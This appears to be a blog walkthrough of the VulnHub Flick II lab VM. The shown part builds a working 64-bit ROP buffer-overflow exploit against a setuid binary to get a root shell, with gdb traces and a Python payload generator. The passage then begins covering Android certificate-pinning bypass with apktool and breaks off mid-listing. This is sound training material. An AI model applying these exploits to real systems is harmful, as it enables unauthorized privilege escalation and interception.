Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Segmentation fault

Segfault! There is probably a Buffer Overflow here!

Until now I only have done 32bit Bufferoverflows but I can at least verify that I can overwrite the Instruction Point!

I scp’ed the binary to my Kali box and ran it in gdb:

First I am going to check the security features it was compiled with:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

NX – No Execution means I cannot simply put my shellcode on the stack as it is marked as non-executable (time to learn ROP!).

sdf

root@kali:~/vulnhub/flickII# gdb restore
GNU gdb (Debian 7.11.1-2) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from restore...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/vulnhub/flickII/restore 
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 200 times>...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffec6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Output directory is: ", 'A' <repeats 179 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe118 ('A' <repeats 200 times>...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x124 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ('A' <repeats 200 times>...)
0008| 0x7fffffffe120 ('A' <repeats 200 times>...)
0016| 0x7fffffffe128 ('A' <repeats 200 times>...)
0024| 0x7fffffffe130 ('A' <repeats 196 times>)
0032| 0x7fffffffe138 ('A' <repeats 188 times>)
0040| 0x7fffffffe140 ('A' <repeats 180 times>)
0048| 0x7fffffffe148 ('A' <repeats 172 times>)
0056| 0x7fffffffe150 ('A' <repeats 164 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

No 41’s in RIP!!!!!!! :’-(

Time to learn new stuff! Thanks again to @_RastaMouse who pointed me to two wonderful 64bit BOF tutorials from @superkojiman:

https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

So to quote the first tutorial:

So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. Recall as I mentioned earlier that the maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. So really the goal is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset…

So thats why there are no A’s in RIP! But as you can read in the first tutorial the following works:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Now we need to append the first Input Value:

root@kali:~/vulnhub/flickII# sed -i '1i/tmp/' pattern.txt 
root@kali:~/vulnhub/flickII# cat pattern.txt 
/tmp/
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

And feed that into the program inside of gdb

gdb-peda$ r < pattern.txt 
Starting program: /root/vulnhub/flickII/restore < pattern.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffe5a 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAS"...)
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x7925417825415a25 ('%ZA%xA%y')
R9 : 0x5725417425415625 ('%VA%tA%W')
R10: 0x190 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0016| 0x7fffffffe128 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0024| 0x7fffffffe130 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0032| 0x7fffffffe138 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0040| 0x7fffffffe140 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0048| 0x7fffffffe148 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0056| 0x7fffffffe150 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

Okay Im not yet really experienced in this so you might want to double-check or read up on this but my understanding is:

  • When a new function is called, first the return address is pushed on the stack and then the new stack frame is posted about it
  • At the time of the crash the RSP points directly above the Return Adress

So lets check out RSP and calculate the offset of RIP:

Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$ x/wx $rsp
0x7fffffffe118: 0x65414149
gdb-peda$ pattern_offset 0x65414149
1698775369 found at offset: 72
gdb-peda$

So RIP starts at offset 72 Bytes should be 6 bytes long and prepended with 2 null bytes.

Again thanks to @superkojiman for his python template to generate an according string:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242
buf += "C"*100 # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Now lets feed this into the binary inside of gdb:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 72 times>, "BBBBBB")
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7fffff9c 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: ", 'A' <repeats 72 times>, "BBBBBB\n")
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe120 ('C' <repeats 100 times>)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4e ('N')
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe120 ('C' <repeats 100 times>)
0008| 0x7fffffffe128 ('C' <repeats 92 times>)
0016| 0x7fffffffe130 ('C' <repeats 84 times>)
0024| 0x7fffffffe138 ('C' <repeats 76 times>)
0032| 0x7fffffffe140 ('C' <repeats 68 times>)
0040| 0x7fffffffe148 ('C' <repeats 60 times>)
0048| 0x7fffffffe150 ('C' <repeats 52 times>)
0056| 0x7fffffffe158 ('C' <repeats 44 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$

So now I control EIP like in the old (x86) days!

So lets remember the NX security flag! I cannot just put my shellcode on the stack (in the buffer string) and execute it!

I need to used Returned Oriented Programming (ROP) and try to find so called ROP Gadgets on the stack that that return to libc so I can pass my own command to libc after the program finishes (crashes)!

So as mentioned a couple of times this is all heavily borrowed, but I like to explain it a bit more in details (for simpleminded people like myself):

  1. I want to jump (return) to system()I can find the Address of system() with gdb-peda:
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x401fd0 <system>

    –> 0x401fd0

  2. I want system() to spawn me a /bin/shFor this to work I need to push a memory address that contains “/bin/sh” into RDI, as arguments for function calls are apparently transmitted via registers in 64bit architecture.I can use gdb-peda again to find this:
    gdb-peda$ find "/bin/sh"
    Searching for '/bin/sh' in: None ranges
    Found 2 results, display max 2 items:
    restore : 0x492bad --> 0x68732f6e69622f ('/bin/sh')
    restore : 0x492d20 --> 0x68732f6e69622f ('/bin/sh')

    I used the second one –> 0x492d20

  3. The Buffer string will place the above aquired memory address on the stack, now I need a rop gadget (instruction) that pushes the top of the stack into RDI.I can find this gadget using ropper:
    [INFO] Searching for gadgets: pop rdi
    
    [INFO] File: restore
    0x000000000046c2fd: pop rdi; add eax, dword ptr [rax]; add byte ptr [rax - 0x7d], cl; ret 0x4910; 
    0x000000000047bf07: pop rdi; fmulp st(1); ret; 
    0x0000000000412de9: pop rdi; in al, dx; mov qword ptr [rdi - 0xc], rcx; mov dword ptr [rdi - 4], edx; ret; 
    ...
    ...
    ...
    0x00000000004af2a9: pop rdi; cmc; jmp qword ptr [rax]; 
    0x00000000004ae825: pop rdi; cmc; jmp qword ptr [rdx]; 
    0x000000000040167e: pop rdi; ret; 
    0x0000000000454747: pop rdi; sti; jmp qword ptr [rsi + 0xf];

    –> 0x000000000040167e: pop rdi; ret;

With this 3 gadgets I can now build my very own first x64 and my very own first ROP exploit:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x000000000040167e) # pop rdi; ret - found via >ropper --file restore --search "pop rdi"
buf += pack("<Q", 0x492d20) # /bin/sh - found via gdb-peda$ find "/bin/sh"
buf += pack("<Q", 0x401fd0) # system - found via gdb-peda$ p system 

f = open("in.txt", "w")
f.write(buf)

Now lets try this locally on Kali in gdb-peda first:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
[New process 12389]
process 12389 is executing new program: /bin/dash
[New process 12390]
process 12390 is executing new program: /bin/dash
[Inferior 3 (process 12390) exited normally]
Warning: not running or target is remote

I see 2 /bin/dash, I hope that is good! :)

Lets pipe directly into the binary:

root@kali:~/vulnhub/flickII# (cat in.txt; cat) | ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
uid=0(root) gid=0(root) Gruppen=0(root)

This looks good! Obviously I already started the binary as root, however remember the original functionality of the program? It did not provide an interactive prompt!!!

So lets transfer the exploit to flickII and see if I can get root via the setuid version of the binary there:

[sean@fII bin]$ curl http://192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py
</192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py 
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 416 100 416 0 0 34955 0 --:--:-- --:--:-- --:--:-- 37818
[sean@fII bin]$ cd /tmp
cd /tmp
[sean@fII tmp]$ chmod +x myexploit.py
chmod +x myexploit.py
[sean@fII tmp]$ ./myexploit.py
./myexploit.py
[sean@fII tmp]$ python myexploit.py
python myexploit.py
[sean@fII tmp]$ cat in.txt
cat in.txt
/tmp/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@ -I�@[sean@fII tmp]$ 

[sean@fII tmp]$ 
[sean@fII tmp]$ cat in.txt | /usr/local/bin/restore
cat in.txt | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
Segmentation fault
[sean@fII tmp]$ id
id
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)
[sean@fII tmp]$ (cat in.txt; cat) | /usr/local/bin/restore
(cat in.txt; cat) | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/


Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

HELL YEAH \o/

And here I plant my flag:

flag

Thanks

This VM was a real blast for me! First I could apply my newly learnt skills from this Years 2016 SANS Holiday Hack Challenge!

Then I could freshen up some rusty LD_PRELOAD knowledge and finally it forced me to understand and write my first 64bit and my first ROP exploit! :-D

Thanks to:

@leonjza for this awesome VM
@_RastaMouse for helping me in IRC and his great WriteUp!
@superkojiman for his awesome 64bit Stack Smashing Tutorials!!!

Posted in boot2root, miscellaneous, vulnhub | 1 Comment

vulnhub: flickII – a different approach – walkthrough part1

Hey,

Another vulnhub walkthrough, however this time a special one for me, because it required new special knowledge I just acquired.

Flick II on vulnhub: https://www.vulnhub.com/entry/flick-2,122/

Introduction to FlickII

I first grabbed FlickII when it was fresh in August 2015. I loved that it comes with an Android APK, that is the key to hack the VM!

So when you download and extract the VM image it is accompanied by an Android APK! Back in August 2015 I already figured out how to set up an Android Emulator and use burp to mitm Android apps!

However my plans were quickly dismissed when I learned that Certificate Pinning is common to secure the SSL Traffic between Android Apps and their API’s :-(

Before benching the VM for over a year I quickly checked the existing Walkthroughs but decided they were way to complicated for a “non-programmer” like myself…

Thanks SANS!

But thanks to this years SANS HolidayHackChallenge 2016 I learnt a great deal about hacking Android APKs!

So even before I start with the Writeup of the HolidayHackChallenge I needed to return to FlickII and apply my newly acquired skills on this VM!

The basic idea I had was that instead of diving too deep into the Android smali or decompiled Java code I would just hack out the Certificate Pinning! :-)

I loved the idea because once I manage to do this, this will be a highly useful skill for any further android application investigations!

So lets start with the writeup:

Walkthrough Part 1: From APK to Shell

First Order of Business: Setting it all up!

As already stated the VMs comes accompanied by an Android APK and a README file:

files

 

The README file gives us a nice mission:

mission

So cool! :-)

So without much explaining the basics – Detecting the IP of the VM after booting:

nmap-1

 

And a nmap script scan:

nmap-scriptscanning

Accessing the HTTPS Webserver gives an API Message:

first-api-call

 

What Android Emulator to use?

So now it is time to boot up an Android Emulator! I really like the Emulator from Android Studio so I used that one. However I have heard a lot good talk about Genymotion! So if you don’t want to install a whole Android IDE you might want to check out Genymotion!

I have not tried it yet (I really should) however when I first started with this over a year ago Genymotion required VirtualBox as a basis. But because i already have VMware Fusion running on my Mac I did not want to install another virtualization product that hooks my Network interfaces and all that stuff a Virtualization Software needs to do to work properly…

So if you are going the Android Studio route and use the Emulator for the first time you probably want to start the Android Virtual Device Manager:

  1. Start Android Studio
  2. Go To Tools -> Android -> AVD Manager:android-studio

 

3. Now you have a nice GUI to create a virtual android device to your liking: AVD Manager

avd-manager

Here I set up a phone in AVD Manager!

Once you have a Virtual Android Device set up you can easily start it anytime by a direct console command:

Starting the Emulator and Setting a Proxy (and scaling the emulator window)

/path/to/Library/Android/sdk/tools/emulator @testphone -http-proxy http://192.168.0.56:8080 -scale 250dpi

Just put an @ in front of the devices name you have set in AVD Manager. Also you can see here the command for setting a proxy and also for scaling the Emulator. In my case it was bigger than my Macbook Resolution so I wanted to reduce the dpi a bit.

Just play around with dpi values until the Window gets an acceptable size!

et voila – the emulator boots up:

emulator-booting

Once it is booted up you can install the flick-check-dist.apk using adb:

/path/to/Library/Android/sdk/platform-tools/adb install ~/Desktop/flick-check-dist.apk
1200 KB/s (1109803 bytes in 0.902s)
	pkg: /data/local/tmp/flick-check-dist.apk
Success

And you have a new program installed:

apk-installed

Starting FlickCheck it asks for the Server IP:

setting-server

When you start the Emulator without an HTTP Proxy you will see the App and can play around with it:

free

Now wouldn’t it be great to just MitM the HTTPS API Calls and send custom commands?

Turns out you can’t (just yet) :-(

connection-failed

Burp will show us the problem:

cert-pinning-error

 

So an SSL Client will tell the server why it does cancel the SSL negotiation, neat!

Second Order of Business: MitM the APK

So now I am as far as i was in August 2015 when I stopped with this VM! Luckily as said in the intro this years SANS Holiday Hack Challenge teached me how to circumvent this problem:

jadx-gui and apktool to the rescue \o/

One important lesson in IT-Security design is, that the client is hostile! So once you release a program into the wild you basically lose control over it!

Android Apps written in Java are very easy to reverse engineer!

The first thing with my newly aquired skills was to open the flick-check-dist.apk in jadx-gui (grab jadx here).

This will not just decompile to smali code but instead reconstruct an approximation of the initial Java Code.

Inside of this i quickly found the Function that performed the certificate pinning (the so called Trust Manager):

jadx-trust-manager

See the long PUB_KEY string? Thats the Certificate hash that is pinned!

Now how if we could just decompile the APK, change the program logic and then recompile and execute it!

Good thing we can with apktool!

Grab apktool here if you have not already downloaded it!
Now armed with apktool we can decompile the apk to smali code:

/path/to//apktool d ~/Desktop/flick-check-dist.apk 
I: Using Apktool 2.2.1 on flick-check-dist.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ./Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And now we got the decompiled application:

decompiled-smali-code

 

Directory listing of the decompiled smali folder

Now I asked myself the following questions:

a) How is the certificate Pinning implemented in the app?

This can easily be answered with jadx-gui! Searching for the PubKeyManager function name in the code…

search-trustmanager

…shows where it is being called:

pubkeymanager-functioncall

 

Now lets look at the smali code of PubKeyManager.smali:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
